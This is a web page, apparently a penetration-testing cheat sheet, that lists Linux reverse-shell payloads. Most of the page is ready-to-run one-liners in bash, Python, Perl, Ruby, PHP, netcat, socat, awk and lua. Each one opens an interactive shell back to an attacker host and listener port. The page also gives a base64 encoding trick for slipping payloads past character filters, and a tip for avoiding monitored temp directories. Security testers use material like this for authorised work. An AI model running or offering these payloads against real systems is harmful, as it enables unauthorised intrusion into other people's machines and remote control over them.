Skip to content
HackIndex logo

HackIndex

Linux Reverse Shell Payloads and One-Liners

4 min read Mar 15, 2026

When you have command execution on a target — through a web vulnerability, a service exploit, a cron job injection, or any other vector — these payloads turn that execution into a shell. All examples use $LHOST and $LPORT as your attacker IP and listener port.

Start your listener before sending any payload:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

After catching the shell, stabilize it before doing anything else. See Shell Stabilization and TTY Upgrade.

Reverse shells

The most reliable option when bash is the executing shell. Try /dev/tcp first — it is built into bash and leaves no extra process.

user@host ~ $ bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1

If that fails due to restricted bash or shell interpretation issues, use the read/write file descriptor form:

user@host ~ $ exec 5<>/dev/tcp/$LHOST/$LPORT; cat <&5 | while read line; do $line 2>&5 >&5; done

When the payload runs inside a context that strips special characters (HTML forms, JSON fields, XML), wrap it:

user@host ~ $ bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'

Works on nearly every modern Linux system. Python 3 first, fall back to Python 2 if needed.

user@host ~ $ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$LHOST",$LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
user@host ~ $ # or
user@host ~ $ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$LHOST",$LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

Perl is present on most Linux distributions even when Python is not.

user@host ~ $ perl -e 'use Socket;$i="$LHOST";$p=$LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
user@host ~ $ ruby -rsocket -e 'exit if fork;c=TCPSocket.new("$LHOST","$LPORT");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Use when you have execution through a web application context or a PHP file.

user@host ~ $ php -r '$sock=fsockopen("$LHOST",$LPORT);exec("/bin/bash -i <&3 >&3 2>&3");'

If exec is disabled, try shell_exec or system:

user@host ~ $ php -r '$sock=fsockopen("$LHOST",$LPORT);shell_exec("/bin/bash -i <&3 >&3 2>&3");'

Works when a netcat binary with -e support is present. Many modern installs ship OpenBSD netcat which drops -e.

user@host ~ $ nc -e /bin/bash $LHOST $LPORT

For OpenBSD netcat or any netcat without -e, use the mkfifo pipe method instead.

Works with any netcat variant. Reliable fallback when bash /dev/tcp and -e are both unavailable.

user@host ~ $ rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc $LHOST $LPORT >/tmp/f

The pipe name /tmp/f is arbitrary. Change it if /tmp is noisy or monitored.

Produces a cleaner shell than netcat. Requires socat on the target. If it is not installed, transfer a static binary.

user@host ~ $ socat tcp-connect:$LHOST:$LPORT exec:'bash -li',pty,stderr,setsid,sigint,sane

This gives a near-fully interactive shell without the stty raw steps needed for other methods.

Useful when the execution context only allows AWK — common in restricted command injection scenarios.

user@host ~ $ awk 'BEGIN {s = "/inet/tcp/0/$LHOST/$LPORT"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
user@host ~ $ lua -e "require('socket');require('os');t=socket.tcp();t:connect('$LHOST','$LPORT');os.execute('/bin/bash -i <&3 >&3 2>&3');"

Choosing the Right Payload

Most command injection and RCE scenarios on Linux resolve with the bash /dev/tcp one-liner or the Python socket payload. Use the mkfifo method when neither works. Use socat when you want the cleanest shell and can transfer the binary.

If the execution context URL-encodes or strips characters, encode the payload in base64 and decode it on execution:

user@host ~ $ echo 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1' | base64

Then execute it on the target:

user@host ~ $ echo <BASE64STRING> | base64 -d | bash

This avoids issues with &, >, and / being interpreted or stripped by intermediary systems.